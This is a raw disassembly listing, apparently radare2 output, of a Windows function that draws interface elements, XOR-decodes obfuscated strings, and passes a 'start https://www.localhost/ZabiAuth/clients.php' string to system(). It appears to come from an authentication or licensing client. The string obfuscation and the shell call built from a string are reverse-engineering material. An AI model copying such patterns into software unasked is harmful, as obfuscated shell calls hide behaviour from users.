mov rcx, qword [rbp + 0xb8]
lea rax, [rbp + 0x260]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x70], xmm1
call fcn.140031e40
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x260]
movaps xmm6, xmmword [0x1400964c0]
mov dword [rbp + 0x260], reloc.WS2_32.dll_setsockopt
movups xmm0, xmmword [rbx + 0x3b1c]
lea rcx, [rbx + 0x4a78]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x15
je 0x14006a3f5
movups xmmword [rbx + 0x3b1c], xmm6
mov rcx, qword [0x14015adc0]
lea rdx, [rbp + 0x40]
mov dword [rbp + 0x40], 0x41a00000
mov dword [rbp + 0x44], 0x41a00000
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
lea rcx, [0x14008b0b8]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x140096128]
addss xmm0, xmm11
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
call fcn.140030fe0
test al, al
jne 0x14006aeba
mov r8, qword [0x14015adc0]
cmp dword [r8 + 0x4a78], r12d
jl 0x14006a4b4
movsxd rax, dword [r8 + 0x4a78]
mov rcx, qword [r8 + 0x4a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
mov rax, qword [r8 + 0x4000]
lea rcx, [rbp - 0x70]
mov byte [rax + 0xc0], r12b
mov rax, qword [r8 + 0x4000]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm10
addss xmm0, xmm14
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov rax, qword [r8 + 0x3d30]
movss xmm0, dword [rax + 0x14]
mov dword [rax + 0x14], 0x40e00000
mov rax, qword [r8 + 0x3d30]
movss dword [rax + 0x14], xmm0
mov rax, qword [r8 + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [r8 + 0x4000]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, dword [0x1400960f8]
addss xmm1, xmm10
movss dword [rax + 0x114], xmm0
movsd xmm0, qword [str.aFSEVXW_]
movsd qword [rbp - 0x70], xmm0
xor byte [rbp - 0x6f], 0x35
xor byte [rbp - 0x6e], 0x36
xor byte [rbp - 0x6d], 0x37
xor byte [rbp - 0x6c], 0x38
xor byte [rbp - 0x6b], 0x39
xor byte [rbp - 0x6a], 0x3a
xor byte [rbp - 0x69], 0x3b
movss dword [rax + 0x110], xmm1
movzx eax, byte [0x140094dd0]
xor al, 0x3c
mov byte [rbp - 0x70], 0x55
mov byte [rbp - 0x68], al
call fcn.140030690
mov rcx, qword [0x14015adc0]
lea r15, [0x14015ade0]
mov qword [rsp + 0x38], rdi
mov r9d, 0x100
mov qword [rsp + 0x30], rdi
mov r8, r15
mov dword [rsp + 0x28], edi
xor edx, edx
mov rax, qword [rcx + 0x4000]
mov qword [rbp - 0x30], rdi
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm10
addss xmm0, dword [0x140096104]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
lea rax, [rbp - 0x30]
or dword [rcx + 0x4990], r12d
mov dword [rcx + 0x49a0], 0x43610000
lea rcx, str.zabiUzer
mov qword [rsp + 0x20], rax
call fcn.140034b00
mov rcx, qword [0x14015adc0]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
addss xmm1, xmm10
addss xmm0, dword [0x140096114]
cmp byte [0x140094a47], dil
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], r12b
mov eax, dword [0x140094a44]
mov dword [rbp + 0x70], eax
je 0x14006a7a3
mov r8d, edi
cmp r13d, 2
jl 0x14006a76c
movdqa xmm3, xmmword [0x140096210]
mov ecx, 5
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140096800]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140096800]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, ecx
psrad xmm2, xmm0
mov ecx, 0x1f
movdqa xmm1, xmm2
movd xmm0, ecx
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140096270]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x70], xmm2
jmp 0x14006a7a3
lea r9, [rbp + 0x70]
mov eax, 0x1f7047dd
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14006a770
lea rcx, [rbp + 0x70]
call fcn.140030690
mov rcx, qword [0x14015adc0]
lea rsi, [0x14015aef0]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm10
addss xmm0, xmm12
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
or dword [rcx + 0x4990], r12d
mov dword [rcx + 0x49a0], 0x43610000
movzx eax, byte [0x14015adba]
cmp al, r12b
jne 0x14006a89c
movzx eax, word [0x140094a40]
lea rcx, [rsp + 0x78]
movsd xmm0, qword [0x140094a38]
movsd qword [rsp + 0x78], xmm0
xor byte [rsp + 0x79], 0x35
xor byte [rsp + 0x7a], 0x36
xor byte [rsp + 0x7b], 0x37
xor byte [rsp + 0x7c], 0x38
xor byte [rsp + 0x7d], 0x39
xor byte [rsp + 0x7e], 0x3a
xor byte [rsp + 0x7f], 0x3b
mov word [rbp - 0x80], ax
movzx eax, byte [0x140094a42]
xor byte [rbp - 0x80], 0x3c
xor byte [rbp - 0x7f], 0x3d
xor al, 0x3e
mov qword [rsp + 0x38], rdi
mov byte [rbp - 0x7e], al
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x78], 0x23
mov qword [rbp - 8], rdi
mov dword [rsp + 0x28], edi
jmp 0x14006a91c
test al, al
jne 0x14006a931
movzx eax, word [0x140094a40]
lea rcx, [rsp + 0x60]
movsd xmm0, qword [0x140094a38]
movsd qword [rsp + 0x60], xmm0
xor byte [rsp + 0x61], 0x35
xor byte [rsp + 0x62], 0x36
xor byte [rsp + 0x63], 0x37
xor byte [rsp + 0x64], 0x38
xor byte [rsp + 0x65], 0x39
xor byte [rsp + 0x66], 0x3a
xor byte [rsp + 0x67], 0x3b
mov word [rsp + 0x68], ax
movzx eax, byte [0x140094a42]
xor byte [rsp + 0x68], 0x3c
xor byte [rsp + 0x69], 0x3d
xor al, 0x3e
mov qword [rsp + 0x38], rdi
mov byte [rsp + 0x6a], al
lea rax, [rbp - 0x20]
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x60], 0x23
mov qword [rbp - 0x20], rdi
mov dword [rsp + 0x28], 0x8000
mov r9d, 0x100
mov qword [rsp + 0x20], rax
mov r8, rsi
xor edx, edx
call fcn.140034b00
mov rcx, qword [0x14015adc0]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
lea rcx, [rbp - 0x78]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, dword [0x140096120]
addss xmm0, xmm12
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov eax, dword [str.g_Y_8]
mov dword [rbp - 0x78], eax
movzx eax, byte [0x140095364]
xor byte [rbp - 0x77], 0x35
xor al, 0x38
xor byte [rbp - 0x76], 0x36
xor byte [rbp - 0x75], 0x37
mov byte [rbp - 0x74], al
mov byte [rbp - 0x78], 0x53
call fcn.1400322a0
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x260]
movaps xmm6, xmmword [0x1400964c0]
mov dword [rbp + 0x260], reloc.WS2_32.dll_setsockopt
movups xmm0, xmmword [rbx + 0x3b1c]
lea rcx, [rbx + 0x4a78]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x15
je 0x14006aa02
movups xmmword [rbx + 0x3b1c], xmm6
mov rcx, qword [0x14015adc0]
lea rdx, [rbp - 0x18]
mov dword [rbp - 0x18], 0x43610000
mov dword [rbp - 0x14], 0x42200000
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4000]
lea rcx, [rsp + 0x70]
movss xmm1, dword [rax + 0x28]
movss xmm0, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x8c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm1, xmm10
addss xmm0, dword [0x140096124]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm0
mov eax, dword [str.xZQV9]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1400950f4]
xor byte [rsp + 0x71], 0x35
xor byte [rsp + 0x72], 0x36
xor byte [rsp + 0x73], 0x37
mov word [rsp + 0x74], ax
xor byte [rsp + 0x74], 0x38
xor byte [rsp + 0x75], 0x39
mov byte [rsp + 0x70], 0x4c
call fcn.140030fe0
test al, al
je 0x14006abdc
mov qword [rbp + 0x70], rdi
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
inc r8
cmp byte [rsi + r8], dil
jne 0x14006aad1
mov rdx, rsi
lea rcx, [rbp + 0x70]
call fcn.14006c690
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x270], rdi
mov qword [rbp + 0x278], reloc.WS2_32.dll_ntohs
inc r8
cmp byte [r15 + r8], dil
jne 0x14006ab06
mov rdx, r15
lea rcx, [rbp + 0x260]
call fcn.14006c690
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x260]
call fcn.140064630
mov rdx, qword [rbp + 0x278]
cmp rdx, 0x10
jb 0x14006ab6f
mov rcx, qword [rbp + 0x260]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ab6a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006aeac
call fcn.1400840ac
mov rdx, qword [rbp + 0x88]
mov qword [rbp + 0x270], rdi
mov qword [rbp + 0x278], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x260], dil
cmp rdx, 0x10
jb 0x14006abc6
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006abc1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006aeac
call fcn.1400840ac
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x70], dil
mov r8, qword [0x14015adc0]
cmp dword [r8 + 0x4a78], r12d
jl 0x14006ac1b
movsxd rax, dword [r8 + 0x4a78]
mov rcx, qword [r8 + 0x4a80]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x39cc], xmm0
dec dword [r8 + 0x4a78]
call fcn.140010960
cmp dword [0x14015adbc], r12d
jne 0x14006ae14
cmp byte [0x14015adb9], dil
jne 0x14006ae14
mov r8d, 0x2a
mov qword [rbp + 0x260], rdi
lea rdx, str.https:__www.localhost_ZabiAuth_clients.php
mov qword [rbp + 0x270], rdi
lea rcx, [rbp + 0x260]
mov qword [rbp + 0x278], reloc.WS2_32.dll_ntohs
call fcn.14006c690
mov rcx, qword [rbp + 0x278]
mov r8, qword [rbp + 0x270]
mov rax, rcx
sub rax, r8
cmp rax, 6
jb 0x14006ad1a
lea rax, [r8 + 6]
cmp rcx, 0x10
lea rbx, [rbp + 0x260]
mov qword [rbp + 0x270], rax
cmovae rbx, qword [rbp + 0x260]
lea rax, [0x14009465a]
lea r14, str.start
cmp rax, rbx
jbe 0x14006acd6
lea rax, [rbx + r8]
cmp r14, rax
ja 0x14006acd6
cmp rbx, r14
ja 0x14006acce
mov rsi, rdi
jmp 0x14006acdb
mov rsi, rbx
sub rsi, r14
jmp 0x14006acdb
mov esi, 6
inc r8
lea rcx, [rbx + 6]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 6
lea rdx, [r14 + 6]
sub r8, rsi
lea rcx, [rbx + rsi]
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x260]
jmp 0x14006ad40
lea rax, str.start
mov qword [rsp + 0x28], 6
mov edx, 6
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x260]
call fcn.140079700
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x70]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
cmp qword [rbp + 0x88], 0x10
cmovae rcx, qword [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x14006adb6
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006adb1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006aeb3
call fcn.1400840ac
mov rdx, qword [rbp + 0x278]
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x70], dil
cmp rdx, 0x10
jb 0x14006ae0d
mov rcx, qword [rbp + 0x260]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006ae08
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006aeb3
call fcn.1400840ac
mov byte [0x14015adb9], r12b
call fcn.14000a820
call fcn.14000abf0
mov rcx, qword [0x14015b068]
lea r8, [0x14015b070]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x398], xmm0
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14015b068]
lea r8, [rbp + 0x398]
mov rdx, qword [0x14015b070]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rax, qword [0x14015adc0]
mov rcx, qword [rax + 0x4b10]
mov rax, qword [rcx]
mov rcx, rdi
add rax, 0x48
cmp byte [rax], dil
cmovne rcx, rax
call fcn.14002bce0
mov rcx, qword [0x14015b078]
xor r8d, r8d
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x40]
cmp byte [reloc.WS2_32.dll_accept], dil
jne 0x140068c10
jmp 0x14006852e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 6
mov dword [rbp + 0x348], edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x328], edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x338], edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm14, xmmword [rsp + 0x700]
movaps xmm13, xmmword [rsp + 0x710]
movaps xmm12, xmmword [rsp + 0x720]
movaps xmm11, xmmword [rsp + 0x730]
movaps xmm10, xmmword [rsp + 0x740]
movaps xmm15, xmmword [rsp + 0x6f0]
mov rsi, qword [rsp + 0x7c8]
movaps xmm9, xmmword [rsp + 0x750]
movaps xmm6, xmmword [rsp + 0x780]
mov r15, qword [rsp + 0x790]
mov r14, qword [rsp + 0x798]
mov r13, qword [rsp + 0x7a0]
mov rbx, qword [rsp + 0x7c0]
movaps xmm7, xmmword [rsp + 0x770]
movaps xmm8, xmmword [rsp + 0x760]
mov r12, qword [rsp + 0x7d0]
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.140083df0
add rsp, 0x7a8
pop rdi
pop rbp
ret